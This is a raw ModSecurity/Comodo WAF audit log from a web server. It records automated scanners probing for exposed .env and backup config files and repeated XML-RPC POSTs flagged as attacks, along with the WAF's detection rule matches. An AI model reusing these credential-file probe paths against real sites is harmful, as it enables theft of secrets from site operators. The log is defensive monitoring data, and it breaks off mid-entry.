185.177.72.210 51182 127.0.0.1 7081 --6394d72b-B-- GET /private/config.php.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6394d72b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9f72bc86d0cffb030712da9e3df799ec1750038199; expires=Mon, 16 Jun 2025 02:43:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6394d72b-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/private/config.php.old"] [unique_id "aE92tuhCUAahT1nBjTYPsAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038198481531 706459 (- - -) Stopwatch2: 1750038198481531 706459; combined=1959, p1=361, p2=1482, p3=0, p4=0, p5=116, sr=121, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6394d72b-Z-- --6f3ff014-A-- [16/Jun/2025:07:13:29.325031 +0530] aE92wIkQyF8-ounHsxsHWwAAAA8 185.177.72.210 49788 127.0.0.1 7081 --6f3ff014-B-- GET /:9000/.env.4 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6f3ff014-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b180a3d3330c09526959066bd6b73f671750038209; expires=Mon, 16 Jun 2025 02:43:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6f3ff014-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.env.4"] [unique_id "aE92wIkQyF8-ounHsxsHWwAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038208622917 702186 (- - -) Stopwatch2: 1750038208622917 702186; combined=1583, p1=309, p2=1184, p3=0, p4=0, p5=89, sr=75, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6f3ff014-Z-- --fc22714c-A-- [16/Jun/2025:07:13:30.634776 +0530] aE92weMjvy_LHXlMeRAUEwAAAAU 128.199.112.101 46396 127.0.0.1 7081 --fc22714c-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --fc22714c-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --fc22714c-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE92weMjvy_LHXlMeRAUEwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038209687467 947376 (- - -) Stopwatch2: 1750038209687467 947376; combined=2166, p1=348, p2=1450, p3=41, p4=71, p5=160, sr=91, sw=96, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fc22714c-Z-- --76520406-A-- [16/Jun/2025:07:13:37.523916 +0530] aE92yDZ3uHeEW3BYvDO7uQAAAAA 185.177.72.210 46734 127.0.0.1 7081 --76520406-B-- GET /cron/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --76520406-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b923847f0b77ace1220e816ed9d79a4d1750038217; expires=Mon, 16 Jun 2025 02:43:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --76520406-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/cron/.env"] [unique_id "aE92yDZ3uHeEW3BYvDO7uQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038216826434 697557 (- - -) Stopwatch2: 1750038216826434 697557; combined=1859, p1=332, p2=1418, p3=0, p4=0, p5=108, sr=80, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --76520406-Z-- --02669f5b-A-- [16/Jun/2025:07:13:38.570229 +0530] aE92yX9ZI6Q__Lo-KiYUfgAAAAc 185.177.72.210 46766 127.0.0.1 7081 --02669f5b-B-- GET /:8008/site/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --02669f5b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a8e6852a3a2a7ac811708322a1527a071750038218; expires=Mon, 16 Jun 2025 02:43:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --02669f5b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/site/.env"] [unique_id "aE92yX9ZI6Q__Lo-KiYUfgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038217843242 727060 (- - -) Stopwatch2: 1750038217843242 727060; combined=1658, p1=388, p2=1168, p3=0, p4=0, p5=102, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --02669f5b-Z-- --f4dd9176-A-- [16/Jun/2025:07:13:55.382769 +0530] aE922vvF1ly0gx5reNmDeAAAAAE 185.177.72.210 48580 127.0.0.1 7081 --f4dd9176-B-- GET /laravel/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f4dd9176-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2f09c23974e5cf6365335ef89613ba031750038235; expires=Mon, 16 Jun 2025 02:43:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f4dd9176-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/laravel/.env.production"] [unique_id "aE922vvF1ly0gx5reNmDeAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038234694309 688555 (- - -) Stopwatch2: 1750038234694309 688555; combined=1748, p1=352, p2=1267, p3=0, p4=0, p5=129, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f4dd9176-Z-- --d9a1160e-A-- [16/Jun/2025:07:14:30.904470 +0530] aE92_fbo0R64L12N_aleAwAAAAQ 128.199.112.101 39090 127.0.0.1 7081 --d9a1160e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --d9a1160e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --d9a1160e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE92_fbo0R64L12N_aleAwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038269946659 957868 (- - -) Stopwatch2: 1750038269946659 957868; combined=2442, p1=374, p2=1611, p3=42, p4=63, p5=210, sr=108, sw=142, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d9a1160e-Z-- --7409c376-A-- [16/Jun/2025:07:14:55.932276 +0530] aE93F39ZI6Q__Lo-KiYUnwAAAAc 185.177.72.210 35252 127.0.0.1 7081 --7409c376-B-- GET /examples/04-many-to-many-relationship/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7409c376-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c33a399abaa3069683b5b6b5baac248f1750038295; expires=Mon, 16 Jun 2025 02:44:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7409c376-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/examples/04-many-to-many-relationship/.env"] [unique_id "aE93F39ZI6Q__Lo-KiYUnwAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038295211628 720713 (- - -) Stopwatch2: 1750038295211628 720713; combined=2087, p1=464, p2=1526, p3=0, p4=0, p5=97, sr=130, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7409c376-Z-- --1cc22d11-A-- [16/Jun/2025:07:14:59.509143 +0530] aE93GgS4XDlCv3KXioQGwAAAAAY 185.177.72.210 35388 127.0.0.1 7081 --1cc22d11-B-- GET /mailinabox/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1cc22d11-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c5c97b3dd26f3f4bb91fe93fdc81fd7e1750038299; expires=Mon, 16 Jun 2025 02:44:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1cc22d11-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/mailinabox/.env"] [unique_id "aE93GgS4XDlCv3KXioQGwAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038298828864 680378 (- - -) Stopwatch2: 1750038298828864 680378; combined=1749, p1=381, p2=1253, p3=0, p4=0, p5=115, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1cc22d11-Z-- --c08a531b-A-- [16/Jun/2025:07:15:05.721452 +0530] aE93IboFnONBt7jRcByWbAAAAA4 185.177.72.210 51880 127.0.0.1 7081 --c08a531b-B-- GET /:9000/vendor/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c08a531b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e3ad442c9aed4981a4550d7b8e35bba31750038305; expires=Mon, 16 Jun 2025 02:45:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c08a531b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/vendor/.env"] [unique_id "aE93IboFnONBt7jRcByWbAAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038305044619 676898 (- - -) Stopwatch2: 1750038305044619 676898; combined=2104, p1=421, p2=1588, p3=0, p4=0, p5=95, sr=109, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c08a531b-Z-- --f971f047-A-- [16/Jun/2025:07:15:07.801870 +0530] aE93I-Mjvy_LHXlMeRAURgAAAAU 185.177.72.210 52414 127.0.0.1 7081 --f971f047-B-- GET /:8880/symfony/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f971f047-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3f34c11ccab04fc15b927941c79d54b71750038307; expires=Mon, 16 Jun 2025 02:45:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f971f047-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/symfony/.env"] [unique_id "aE93I-Mjvy_LHXlMeRAURgAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038307081342 720597 (- - -) Stopwatch2: 1750038307081342 720597; combined=1981, p1=462, p2=1409, p3=0, p4=0, p5=110, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f971f047-Z-- --60f5d569-A-- [16/Jun/2025:07:15:16.980617 +0530] aE93LH9ZI6Q__Lo-KiYUsQAAAAc 185.177.72.210 38116 127.0.0.1 7081 --60f5d569-B-- GET /:5601/system/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --60f5d569-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b9161c3d06e552ba2d41ee015e7c3e791750038316; expires=Mon, 16 Jun 2025 02:45:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --60f5d569-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/system/.env"] [unique_id "aE93LH9ZI6Q__Lo-KiYUsQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038316319088 661605 (- - -) Stopwatch2: 1750038316319088 661605; combined=1945, p1=399, p2=1418, p3=0, p4=0, p5=127, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --60f5d569-Z-- --fa2abc2e-A-- [16/Jun/2025:07:15:25.027445 +0530] aE93NAS4XDlCv3KXioQG2gAAAAY 185.177.72.210 54976 127.0.0.1 7081 --fa2abc2e-B-- GET /:8000/configurationtionura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fa2abc2e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9858c9136c43b67000c96398cb9d57e01750038324; expires=Mon, 16 Jun 2025 02:45:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fa2abc2e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/configurationtionura/.env"] [unique_id "aE93NAS4XDlCv3KXioQG2gAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038324374847 652660 (- - -) Stopwatch2: 1750038324374847 652660; combined=1945, p1=374, p2=1481, p3=0, p4=0, p5=89, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fa2abc2e-Z-- --cce90b57-A-- [16/Jun/2025:07:15:30.620119 +0530] aE93OfvF1ly0gx5reNmDqgAAAAE 128.199.112.101 58110 127.0.0.1 7081 --cce90b57-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --cce90b57-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --cce90b57-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last 